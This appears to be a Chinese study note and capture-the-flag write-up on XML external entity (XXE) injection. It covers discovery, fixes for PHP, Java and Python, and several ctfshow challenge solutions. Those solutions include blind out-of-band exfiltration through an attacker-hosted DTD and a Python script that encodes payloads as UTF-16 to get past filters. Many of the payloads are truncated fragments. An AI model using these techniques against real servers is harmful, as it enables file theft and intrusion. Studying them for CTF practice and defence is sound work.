1、XML&XXE-原理&发现&利用&修复等 2、XML&XXE-黑盒模式下的发现与利用 3、XML&XXE-白盒模式下的审计与利用 4、XML&XXE-无回显&伪协议&产生层面
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html -XXE黑盒发现: 1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试 2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe 3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行 -XXE白盒发现: 1、可通过应用功能追踪代码定位审计 2、可通过脚本特定函数搜索定位审计 3、可通过伪协议玩法绕过相关修复等
详细点: XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。
-方案1-禁用外部实体 PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); Python: from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-方案2-过滤用户提交的XML数据 过滤关键词:
flagl路径是/flag
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
// 节点嵌套
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
payload
使用post请求
]>
&xxe;
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤了 看了web376,正则加了 i ,那上一题应该是大写绕过
payload
首先vps创建pd.dtd文件
">
然后在创建xxe.php接受flag
然后使用burp修改成post请求
%remote;%int;%send;
]>
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这次增加了http的过滤,可用编码进行绕过
import requests
url = "http://75cca4df-23bf-4424-90df-f32974fb10b9.challenge.ctf.show/"
payload = """
%remote;%int;%send;
]>
"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)
抓包发现传输是xml形式,直接读取问阿金
]>
&f;
admin